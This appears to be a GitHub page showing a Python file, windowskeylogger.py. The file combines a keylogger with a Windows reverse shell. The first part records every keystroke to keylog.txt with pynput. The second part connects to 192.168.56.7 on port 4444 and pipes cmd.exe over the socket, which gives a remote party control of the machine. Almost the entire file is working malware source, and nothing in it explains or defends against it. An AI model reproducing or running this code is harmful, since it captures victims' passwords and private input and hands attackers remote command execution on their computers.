forked from RobPeeples/KeyLogger
-
Notifications
You must be signed in to change notification settings - Fork 0
/
windowskeylogger.py
78 lines (69 loc) · 2.39 KB
/
windowskeylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!/usr/bin/env python3
# Import necessary libraries
from pynput.keyboard import Key, Listener
import logging
import socket,subprocess,threading
# Initialize Log File
logging.basicConfig(filename=("keylog.txt"), level=logging.INFO, format="%(asctime)s - %(message)s")
# Initialize Variable
word=''
# Whenever a key is pressed:
def on_press(key):
global word
# If the key is a space or the enter key, log the word go to the next line
if key == Key.space or key == Key.enter or key == Key.tab:
word += ' '
logging.info(str(word))
# Resets the word variable
word = ''
# If an arrow key is pressed, log the word, and the string below
elif key == Key.up or key == Key.down or key == Key.left or key == Key.right:
word += ' '
logging.info(str(word + '-An arrow key was pressed-'))
word =''
# If the key pressed is a shift key, ignore it
elif key == Key.shift_l or key == Key.shift_r:
return
# If either control key is pressed, ignore it
elif key == Key.ctrl_l or key == Key.ctrl_r:
return
# If either command/super key is pressed, ignore it
elif key == Key.cmd_l or key == Key.cmd_r:
return
# If backspace is pressed, remove the last character from the word variable
elif key == Key.backspace:
word = word[:-1]
# Add the key pressed to the end of the word variable and remove the quotes around it for readability
else:
char = f'{key}'
char = char[1:-1]
word += char
# If the escape key pressed, stop the program
if key == Key.esc:
return False
# Calls on the on_press function and keeps it running
with Listener(on_press=on_press) as listener:
listener.join()
# Windows reverse shell
def s2p(s, p):
while True:
data = s.recv(1024)
if len(data) > 0:
p.stdin.write(data)
p.stdin.flush()
def p2s(s, p):
while True:
s.send(p.stdout.read(1))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.56.7",4444))
p=subprocess.Popen(["\\windows\\system32\\cmd.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True
s2p_thread.start()
p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True
p2s_thread.start()
try:
p.wait()
except KeyboardInterrupt:
s.close()